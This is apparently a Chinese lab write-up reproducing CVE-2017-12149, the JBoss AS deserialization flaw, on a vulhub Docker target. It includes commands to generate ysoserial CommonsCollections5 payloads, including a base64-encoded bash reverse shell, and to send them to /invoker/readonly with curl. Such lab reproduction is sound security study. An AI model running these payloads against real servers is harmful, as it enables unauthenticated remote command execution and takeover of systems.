影响范围

  • JBoss AS 5.x - JBoss AS 6.1.0.Final

漏洞类型

Java 反序列化

操作系统限制

配置要求

  • http-invoker.sar 必须处于部署状态
  • ReadOnlyAccessFilter 过滤器映射

漏洞利用

命令执行,反弹 shell

利用原理

在 JBoss AS 5.x 或 6.x 中,引入名为 ReadOnlyAccessFilter 过滤器,其默认映射路径为/invoker/readonly,该路径在默认配置下无需身份验证就可访问,该过滤器处理客户端发送的 POST 请求数据时,直接获取请求体的输入流调用 readObject () 方法进行反序列化操作。在还原对象过程中,系统未对传入二进制流进行安全过滤、字节码校验或白名单限制,攻击者可以构造恶意序列化对象,恶意二进制数据通过 HTTP 请求发送到靶机,JBoss 在解析对象时,自动触发对象内部嵌套的恶意代码,执行恶意命令

漏洞复现

现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/jboss/CVE-2017-12149
#拉取镜像
docker-compose up -d

1773507525350

访问 http://靶机 ip:8080/invoker/readonly,返回 500,说明存在漏洞

1773507561810

下载攻击工具并检查是否有 Java 环境

1
2
3
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
#检查Java环境
java -version

1773507621279

使用 ysoserial 生成序列化数据

1
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > payload.ser

1773507653348

发送恶意 payload

1
curl -X POST http://靶机ip:8080/invoker/readonly --data-binary @payload.ser

1773507692670

进入容器 tmp 目录,发现 success,说明成功执行命令

1773507717667

下面进行反弹 shell,开启 nc 监听端口

1773507754209

执行命令替换为反弹 shell 执行命令

1
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}" > payload.ser

1773507791344

发送恶意 payload

1
curl -X POST http://靶机ip:8080/invoker/readonly --data-binary @payload.ser

1773507874613

成功连接

1773507911281